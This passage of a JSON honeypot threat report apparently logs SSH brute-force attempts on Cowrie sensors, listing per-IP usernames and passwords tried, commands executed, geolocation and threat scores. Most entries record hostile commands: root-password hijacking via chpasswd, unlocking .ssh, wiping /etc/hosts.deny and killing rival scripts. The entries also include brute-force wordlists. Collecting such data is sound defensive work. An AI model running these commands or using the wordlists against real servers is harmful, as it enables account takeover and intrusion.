      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QWASZX",
        "!QAZXCDE#@WSX.",
        "!qaz@wsx#Edc",
        "!qazzaq1",
        "-bash",
        "02042024Ionela",
        "123456789!@#$",
        "123WSX!@#",
        "13112026",
        "1qaz2wsx",
        "Abcde.12345",
        "Ah123456.",
        "Asd1234!@#",
        "Asdf1234.",
        "Hetzner",
        "Kuaituoarpa@2026",
        "Millenial",
        "Motdepasse123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RH5Iq4Drqhvm\"|chpasswd|bash",
        "echo \"root:eSFP1ZhMsTYq\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:28:54.624000+00:00",
        "last_seen_30d": "2026-04-27T19:35:40.647000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 103
      }
    },
    "103.86.198.162": {
      "attack_count": 273,
      "first_seen": "2026-04-23T21:54:01.272Z",
      "last_seen": "2026-04-23T23:16:01.902Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cds",
        "monitoring",
        "ubuntu",
        "adam",
        "admin",
        "claude",
        "deepak",
        "deploy",
        "deployer",
        "etherpad",
        "frappe",
        "mcserver",
        "postgres",
        "richard",
        "test",
        "user",
        "yamamoto"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "1qa@WS3ed",
        "A123456V",
        "Aa112211.",
        "Abc123abc",
        "Admin@12345678",
        "Deploy123!",
        "P@ssw0rd1!",
        "Pass@2026",
        "Postgres2",
        "QWE@123456",
        "Qwer@2026",
        "ZAQ!2wsx2026!@",
        "aA.123456",
        "admin19",
        "cds",
        "claude2"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"cds\\ncdwpuEn9ZusX\\ncdwpuEn9ZusX\\n\"|passwd",
        "echo \"monitoring2025\\nbsw5Cm4ofDg9\\nbsw5Cm4ofDg9\\n\"|passwd",
        "echo -e \"cds\\ncdwpuEn9ZusX\\ncdwpuEn9ZusX\"|passwd|bash",
        "echo -e \"monitoring2025\\nbsw5Cm4ofDg9\\nbsw5Cm4ofDg9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Gazipur",
      "asn": 18109,
      "as_org": "MAISHA NET",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T21:54:01.272000+00:00",
        "last_seen_30d": "2026-04-23T23:17:06.087000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 69
      }
    },
    "152.32.186.46": {
      "attack_count": 273,
      "first_seen": "2026-04-24T03:20:18.786Z",
      "last_seen": "2026-04-24T04:05:14.584Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "abhi",
        "ali",
        "devuser",
        "it",
        "jenkins",
        "server",
        "test1",
        "testing",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1qazXSW@3edc",
        "Aa112211.",
        "AaAa123",
        "Ali17",
        "Dd123123",
        "Devuser@2026",
        "P@ss1234",
        "Pa$$w0rd",
        "Qwer!234",
        "Test!2025",
        "Test14!",
        "ZZcc111",
        "abhi",
        "asdf",
        "ccZZ000"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"AaAa123\\nwkTvQ1UMYlWI\\nwkTvQ1UMYlWI\\n\"|passwd",
        "echo \"Pa$$w0rd\\nR2w3pnDZDoBu\\nR2w3pnDZDoBu\\n\"|passwd",
        "echo -e \"AaAa123\\nwkTvQ1UMYlWI\\nwkTvQ1UMYlWI\"|passwd|bash",
        "echo -e \"Pa$$w0rd\\nR2w3pnDZDoBu\\nR2w3pnDZDoBu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:20:18.786000+00:00",
        "last_seen_30d": "2026-04-24T04:06:16.067000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 273,
        "Suricata": 68
      }
    },
    "161.132.180.118": {
      "attack_count": 262,
      "first_seen": "2026-04-20T16:30:36.392Z",
      "last_seen": "2026-04-20T17:12:23.354Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "user",
        "admin",
        "frappe",
        "myuser",
        "nancy",
        "sammy",
        "tempuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$RFV5tgb^YHN",
        "12345asdf",
        "ABA123123",
        "Admin06!",
        "Berbidvps.ir",
        "Frappe10",
        "P@ssw0rd!",
        "P@ssw0rd81",
        "Pa55w0rd",
        "Passw0rd12",
        "Password1234",
        "Qazwsx1234567@",
        "Qqqq1111",
        "Root05",
        "Root112233@#",
        "Root2021!@",
        "Sam@123",
        "Sammy2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Teamspeak3\\naPzZUeU9zElz\\naPzZUeU9zElz\\n\"|passwd",
        "echo \"root:Yz8HpP48GmUk\"|chpasswd|bash",
        "echo -e \"Teamspeak3\\naPzZUeU9zElz\\naPzZUeU9zElz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 266732,
      "as_org": "FIBERTEL PERU S.A.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T16:30:36.392000+00:00",
        "last_seen_30d": "2026-04-20T17:13:25.785000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 66
      }
    },
    "34.175.118.185": {
      "attack_count": 262,
      "first_seen": "2026-04-14T01:30:09.816Z",
      "last_seen": "2026-04-14T02:12:04.062Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jinyu",
        "test",
        "amin",
        "bot",
        "claude",
        "ftpuser",
        "gita",
        "sammy",
        "sftpuser",
        "testsite"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "12345678qwe",
        "1qaz@WSX$",
        "3edc@#",
        "Aa123123",
        "Asdqwe123",
        "Bot07!",
        "Ftpuser16",
        "Qwe12345!",
        "Qwertyuiop123456!",
        "Root0!@",
        "Wang1234",
        "Wy123456@",
        "abcd1234.",
        "amin@123",
        "claude!",
        "gita",
        "jinyu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"jinyu\\nvPzPFnNB41Nl\\nvPzPFnNB41Nl\\n\"|passwd",
        "echo \"root:sMWDBGyHABsL\"|chpasswd|bash",
        "echo -e \"jinyu\\nvPzPFnNB41Nl\\nvPzPFnNB41Nl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T01:30:09.816000+00:00",
        "last_seen_30d": "2026-04-14T02:13:06.301000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 66
      }
    },
    "122.176.122.24": {
      "attack_count": 261,
      "first_seen": "2026-04-04T22:54:17.498Z",
      "last_seen": "2026-04-04T23:59:38.513Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "sammy",
        "ali",
        "bot",
        "deploy",
        "dev",
        "dima",
        "ftptest",
        "ftpuser",
        "steam",
        "user",
        "weblogic"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A12345678B",
        "Ak123456",
        "DDbb123123",
        "Dev06",
        "Qazwsx$",
        "Qwer123$",
        "Steam29",
        "User1@",
        "Yx123456.",
        "ZAQ!2wsx2021$",
        "abc123..",
        "ali06!",
        "asdf",
        "bot25",
        "cyber123",
        "ddDD000",
        "dima",
        "ftptest123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:oma8IDizJ9gt\"|chpasswd|bash",
        "echo \"root:yMj6wsfSHQ9V\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:54:17.498000+00:00",
        "last_seen_30d": "2026-04-05T00:00:41.430000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 70
      }
    },
    "103.226.139.7": {
      "attack_count": 236,
      "first_seen": "2026-04-01T20:19:13.171Z",
      "last_seen": "2026-04-01T21:29:29.585Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0admin",
        "123456bB",
        "123QWEasdZXC",
        "20261109",
        "ABc123456",
        "Admin12345",
        "Dt123456.",
        "Hx123456.",
        "Passw0rd!@#",
        "aaaaaa123",
        "adrian",
        "bruno123",
        "c123456789",
        "dodo",
        "drcom@123",
        "joel",
        "oracle12",
        "passadmin12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cqTyPupyhqdN\"|chpasswd|bash",
        "echo \"root:hZ7C8PYcwYpG\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:19:13.171000+00:00",
        "last_seen_30d": "2026-04-01T21:30:37.921000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "165.154.22.6": {
      "attack_count": 236,
      "first_seen": "2026-04-02T01:07:58.859Z",
      "last_seen": "2026-04-02T02:12:14.028Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10nd0n",
        "123456789.00",
        "123456a.",
        "1q2w3e4r...",
        "As123123",
        "Bx123456",
        "Candy123",
        "Hj123456",
        "QW123456",
        "Qaz12345678!",
        "Vps2024",
        "aaaAAA123456",
        "bharat",
        "gy@123456",
        "hannibal",
        "lol123321",
        "root1q2w3e4r",
        "rootAdmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:U6lQ4BLoNGJ2\"|chpasswd|bash",
        "echo \"root:ZjN0r5AjKvKQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T01:07:58.859000+00:00",
        "last_seen_30d": "2026-04-02T02:13:15.771000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 58
      }
    },
    "45.144.233.139": {
      "attack_count": 236,
      "first_seen": "2026-04-28T08:25:34.844Z",
      "last_seen": "2026-04-28T09:18:16.167Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#xcv",
        "%$@!",
        "12netpc!@",
        "1Q2W3E123",
        "1qaZ2wsX",
        "Gaea2025@sz",
        "QWERTY",
        "Runner",
        "a55555555",
        "abcde@1234",
        "adminpass!",
        "ftprootftproot",
        "greedy",
        "kmjnhbgvfc",
        "password0987654321",
        "qweasdzxc000000",
        "qwer1234@$",
        "sdf48dfs"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:LYPAkYLYfdBX\"|chpasswd|bash",
        "echo \"root:aBRl5GTT11dJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:25:34.844000+00:00",
        "last_seen_30d": "2026-04-28T09:19:22.669000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "45.194.37.246": {
      "attack_count": 211,
      "first_seen": "2026-04-21T13:00:58.038Z",
      "last_seen": "2026-04-21T13:51:07.426Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "blog",
        "bot",
        "dev",
        "aj",
        "deelip",
        "odoo",
        "postgres",
        "sammy",
        "sara",
        "shop",
        "test"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12qwer",
        "1qaz2wsx",
        "44332211",
        "@Aa123456",
        "Abcd1!@",
        "Bot$",
        "Dev02!",
        "Dev23",
        "Odoo18",
        "Qaz123",
        "Qwerty123456_",
        "Root12345",
        "Sammy2025!@#",
        "Ucloud.cn",
        "deelip123",
        "linux@2025",
        "password321"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Bot$\\nZY85NzDPqbwE\\nZY85NzDPqbwE\\n\"|passwd",
        "echo -e \"Bot$\\nZY85NzDPqbwE\\nZY85NzDPqbwE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138995,
      "as_org": "Antbox Networks Limited",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 281,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T13:00:58.038000+00:00",
        "last_seen_30d": "2026-04-21T13:52:09.365000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 70
      }
    },
    "4.186.31.101": {
      "attack_count": 207,
      "first_seen": "2026-04-12T21:01:16.555Z",
      "last_seen": "2026-04-12T21:54:26.045Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "clement",
        "controlm",
        "erpnext",
        "frappe",
        "git",
        "monitoring",
        "testftp",
        "testuser",
        "user",
        "user01",
        "work"
      ],
      "passwords_attempted": [
        "123456",
        "1qaz@WSX!QAZ",
        "ADMIN123",
        "Abcd1234",
        "Admin@12345",
        "Frappe20",
        "Pa$$w0rd",
        "Root!@#123",
        "Root1111111@#",
        "admin123!@#",
        "clement",
        "controlm",
        "erpnext@1234",
        "monitoring",
        "supervisor123",
        "test1",
        "user28",
        "work@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"clement\\nN1Vj5Qpr2ip4\\nN1Vj5Qpr2ip4\\n\"|passwd",
        "echo \"root:hnavjd4eLVQm\"|chpasswd|bash",
        "echo -e \"clement\\nN1Vj5Qpr2ip4\\nN1Vj5Qpr2ip4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
